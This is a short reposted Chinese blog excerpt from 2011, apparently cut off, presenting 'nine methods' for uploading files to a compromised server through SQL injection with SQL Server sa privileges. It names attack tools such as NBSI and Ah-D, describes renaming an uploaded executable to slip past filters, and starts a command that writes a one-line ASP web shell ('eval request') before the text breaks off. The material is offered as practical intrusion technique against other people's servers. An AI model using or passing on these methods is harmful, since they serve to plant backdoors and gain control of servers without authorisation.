转载]SA权限九种上传方法
<br />刚看了一种方法,如果是注入点,利用管中窥豹以二进制的方式上传,上传的时候最好改下名,比如do.exe,上传到目标服务器可以改成do.cmd,等传上去之后用copy 命令改回来。<br />当然用啊d也可以上传,还有nbsi。<br />SA 权限权利非常大,但可能有的朋友感觉使用起来不方便,接下来和大家一起讨论几种上传文件的方法,如果还有别的方法,希望大家提出,技术越辩起明,越明越高。<br />一、NBSI的命令方法:写入一句话木SHELL,命令如下: echo ^<%eval request
转载
2011-02-04 15:56:00 ·
1071 阅读 ·
0 评论